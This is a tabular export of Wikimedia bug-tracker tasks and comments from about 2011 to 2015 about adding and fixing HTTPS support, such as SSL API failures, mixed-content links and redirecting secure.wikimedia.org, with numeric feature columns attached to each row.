+setting to resolved",,,1328609771,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+149298,https svn.wikimedia.org missing viewvc capability,Filed in RT tracker: https://rt.wikimedia.org/Ticket/Display.html?id=1896,,,1320431357,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-95,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+149290,https svn.wikimedia.org missing viewvc capability,"(In reply to comment #5)
+> Yes. We should have https for this. We should have it for everything.
+
+Actually yeah, I agree now. I'm getting mixed content warnings on CodeReview since the various links are pointing to http://. Once we've got SSL on formey, I can update that config.",,,1318879022,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+149283,https svn.wikimedia.org missing viewvc capability,Yes. We should have https for this. We should have it for everything.,,,1318865270,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+149277,https svn.wikimedia.org missing viewvc capability,"Not really, but probably does not cost a lot to have Apache configured to support it.
+The workaround, for me, would be to add an exception to HTTPS everywhere.",,,1318860727,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+149270,https svn.wikimedia.org missing viewvc capability,"(In reply to comment #2)
+> I got HTTPs everywhere which redirect me automatically. Looks like we should
+> add support for HTTPs.
+
+We need https support for viewvc?",,,1318860598,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1
+149262,https svn.wikimedia.org missing viewvc capability,I got HTTPs everywhere which redirect me automatically. Looks like we should add support for HTTPs.,,,1318860416,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+149256,https svn.wikimedia.org missing viewvc capability,"It doesn't support https, WFM if you drop the 's'",,,1318860350,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0
+33756,API requests fail on SSL,"SSL POSTs to /w/api.php are getting ""400 Bad Request"".
+
+Sample POST:  http://paste2.org/p/1721585
+Result: http://paste2.org/p/1721603
+
+Note that I've since changed my password.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1318784460,1318945405.0,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,False,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_description,invalid,True,c2,1,False,False,True,-98,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+148198,API requests fail on SSL,"Yep, openssl works.  I'll have to check gnutls-cli.",,,1318945405,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+148190,API requests fail on SSL,I wonder if this could be caused by how my client is doing SSL using gnutls-cli.  I'll try with openssl.,,,1318944643,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+148183,API requests fail on SSL,"I just tested logging in to <https://en.wikipedia.org/> via the API (<https://en.wikipedia.org/w/api.php>) and it seems to be working fine for me. Are there (still) steps to reproduce a failure? Otherwise, I'm inclined to mark this bug resolved as ""fixed"" or ""worksforme.""",,,1318890538,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1
+148175,API requests fail on SSL,"Actually, I take this back. I tested this, and it's all working for me.",,,1318806158,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+148167,API requests fail on SSL,Seems this is only a problem with HTTP/1.1 requests. HTTP/1.0 requests work properly. I can't figure out why. I'll investigate this more.,,,1318803708,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+148160,API requests fail on SSL,A possible fix pushed in change I9cba40a7: https://gerrit.wikimedia.org/r/391,,,1318802054,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-f5trf5hp73lq4eyl4zzw,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+33667,action=parse doesn't respect protocol (uses http even when called over https),"Both
+https://secure.wikimedia.org/wikipedia/en/w/api.php?action=parse&text=[[Link]][[File:Example.jpg]]
+and
+https://en.wikipedia.org/w/api.php?action=parse&text=[[Link]][[File:Example.jpg]]
+create a link to http://en.wikipedia.org/wiki/Link and get the file from http://upload.wikimedia.org/wikipedia/en/a/a9/Example.jpg
+Instead the link and the file should point to the secure site.
+
+--------------------------
+**Version**: 1.18.x
+**Severity**: normal
+**URL**: https://en.wikipedia.org/w/api.php?action=parse&text=%5B%5BLink%5D%5D%5B%5BFile%3AExample.jpg%5D%5D%5B%5BFile%3AExample.jpg%7Cthumb%5D%5D",Medium,50.0,1318500960,1319190365.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-mou2slkkvaqystduirog,task_description,declined,True,c2,1,False,False,True,-98,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+151919,action=parse doesn't respect protocol (uses http even when called over https),"This ""bug"" was actually a workaround for an issue in iOS mobile clients. It was prominently announced on the mediawiki-api-announce mailing list. If you maintain software that uses the API, you should follow that mailing list.
+
+http://lists.wikimedia.org/pipermail/mediawiki-api-announce/",,,1319555326,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-97,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+151909,action=parse doesn't respect protocol (uses http even when called over https),"I can't reproduce the bug any longer, all the links are relative now.",,,1319190365,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-97,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0
+151900,action=parse doesn't respect protocol (uses http even when called over https),"(In reply to comment #3)
+> The link (including the link to the file description page) is document relative
+> now, but the file itself still has http://upload.wikimedia.org as source.
+
+Confirmed in the attached URL.",,,1318590934,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1
+151894,action=parse doesn't respect protocol (uses http even when called over https),"The link (including the link to the file description page) is document relative now, but the file itself still has http://upload.wikimedia.org as source.
+Since bugzilla doesn't like the links you must put them together yourself:
+https://en.wikipedia.org/w/api.php?action=parse&text=
+where the text to parse is [[Link]][[File:Example.jpg]].
+Parsing [[File:Example.jpg|thumb]] also loads the magnify-clip.png from http://bits.wikimedia.org",,,1318580355,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-98,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+151888,action=parse doesn't respect protocol (uses http even when called over https),"For the record: some days ago this bug was affecting scripts such as this
+https://en.wikipedia.org/wiki/User_talk:Js/ajaxPreview.js#.5BBUG.5D_AJAX_preview_is_different_from_what_is_saved
+
+but it is in fact working as expected at the moment.",,,1318542887,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,False,,,-98,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0
+151882,action=parse doesn't respect protocol (uses http even when called over https),"Works me me right now. Produces relative paths for internal links (/wiki/Foo and /wikipedia/en/wiki/Foo) and protocol-relative urls for files on Commons (//upload.wikimedia.org //commons.wikimedia.org) – just like the way it's parsed for saved articles.
+
+Marking WORKSFORME, re-open if problems is back.",,,1318542393,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mou2slkkvaqystduirog,task_subcomment,,True,c2,1,True,,,-98,True,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+33563,https://secure.wikimedia.org should redirect to the new same-domain SSL sites,"**Author:** `matt`
+
+**Description:**
+To complete the deprecation of https://secure.wikimedia.org in favor of the SSL sites on the original domains, it should redirect to those sites.  For example, https://secure.wikimedia.org/wikipedia/en/%s should redirect to https://en.wikipedia.org/%s .
+
+The description of the ""SSL related"" bug component could stand to be updated as well.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1318185360,1359724864.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-e7f5kpno53y3haidhv3c,task_description,resolved,True,c2,1,False,False,True,-99,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+145276,https://secure.wikimedia.org should redirect to the new same-domain SSL sites,That commit is live and the https://secure.wikimedia.org/wikipedia/en/%s example correctly redirects.,,,1359724864,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-e7f5kpno53y3haidhv3c,task_subcomment,,True,c2,1,True,,,-30,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+145268,https://secure.wikimedia.org should redirect to the new same-domain SSL sites,I was going to do this but Ryan Lane pointed out that someone else already is in Gerrit change 13429.,,,1346807403,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-e7f5kpno53y3haidhv3c,task_subcomment,,True,c2,1,True,,,-51,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+33497,Android app should support (or always?) use HTTPS,"Before any authentication-based features are added, should definitely make sure it can do all its network access over SSL.
+
+Currently the mobile frontend on the m. domains don't offer SSL directly (bug 31333 etc) which might be an issue. :)
+
+--------------------------
+**Version**: 1.0.0 (Android)
+**Severity**: normal",Medium,50.0,1318005300,1324975021.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_description,resolved,True,c2,1,True,False,True,-99,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+151762,Android app should support (or always?) use HTTPS,fixed in https://github.com/wikimedia/WikipediaMobile/commit/6ff4f8b1f834e5a08944893c4abb3a3d19c5cd8d,,,1324975021,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-88,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+151759,Android app should support (or always?) use HTTPS,Why? In what cases would someone want to use HTTP?,,,1324676767,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-88,True,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+151755,Android app should support (or always?) use HTTPS,Lets make it a configurable option,,,1324676725,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,False,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+151751,Android app should support (or always?) use HTTPS,"Should we just go ahead do this for 1.0? Just a URL change, or are there other potential issues?",,,1324607901,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-88,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+151747,Android app should support (or always?) use HTTPS,"It hasn't, but I think since the site now supports it we could do this now.",,,1323998944,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,True,,,-89,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+151743,Android app should support (or always?) use HTTPS,"**philinje** wrote:
+
+I believe this has been fixed.",,,1323997468,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-a4kn3ma5ui4rlecdfbvr,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+33328,Wikilinks in bugzilla should generate links to https version of wiki pages as bugzilla is using https now,"and I'm not sure about revision links: r1. Let me test it here.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1317657900,1317663875.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-zoyczstfeakusnnvjb7k,task_description,resolved,True,c2,1,False,False,True,-100,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0
+149775,Wikilinks in bugzilla should generate links to https version of wiki pages as bugzilla is using https now,"
+
+*** This bug has been marked as a duplicate of bug 30560 ***",,,1317663875,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-zoyczstfeakusnnvjb7k,task_subcomment,,True,c2,1,True,,,-100,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+149772,Wikilinks in bugzilla should generate links to https version of wiki pages as bugzilla is using https now,Well revision links should use HTTPS as well.,,,1317657966,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-zoyczstfeakusnnvjb7k,task_subcomment,,True,c2,1,False,,,-100,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+33325,OpenSearch is not using https in its content even it's being accessed via https,"https://en.wikipedia.org/w/opensearch_desc.php is full of ""http://en.wikipedia.org/""
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1317652320,1440146812.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_description,resolved,True,c2,1,False,False,False,-100,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+512191,OpenSearch is not using https in its content even it's being accessed via https,This was resolved when the canonical URLs on all pages point to HTTPS. T53002,,,1440146812,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,3,True,,,103,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+149582,OpenSearch is not using https in its content even it's being accessed via https,"It's not solely a Firefox problem (though I appreciate that Mozilla will fix this issure in future versions). I tested this in Internet Explorer 11, with the same result.
+
+Since August 2013, https is the standard protocol at least for registered users. We should offer non-registered users the same convenience. Isn't it possible to use protocol-relative URLs in opensearch_desc.php?",,,1412216091,,PHID-USER-osmil63aj7nyoejxxhiv,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,3,False,,,57,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,0
+149577,OpenSearch is not using https in its content even it's being accessed via https,"(In reply to Roan Kattouw from comment #2)
+> liangent RoanKattouw: Bug 31325 - what if I want to access https pages from
+> my firefox search box?
+
+Related hint: Firefox' search bar will switch to using HTTPS for Wikipedia in Firefox 34: https://bugzilla.mozilla.org/show_bug.cgi?id=758857",,,1412156135,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-4wc3qxb3u4xcfkajbdsw,task_subcomment,,True,c2,3,True,,,57,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+149572,OpenSearch is not using https in its content even it's being accessed via https,"liangent	RoanKattouw: Bug 31325 - what if I want to access https pages from my firefox search box?
+RoanKattouw	Hmm, right
+RoanKattouw	That is a valid feature request, yeah
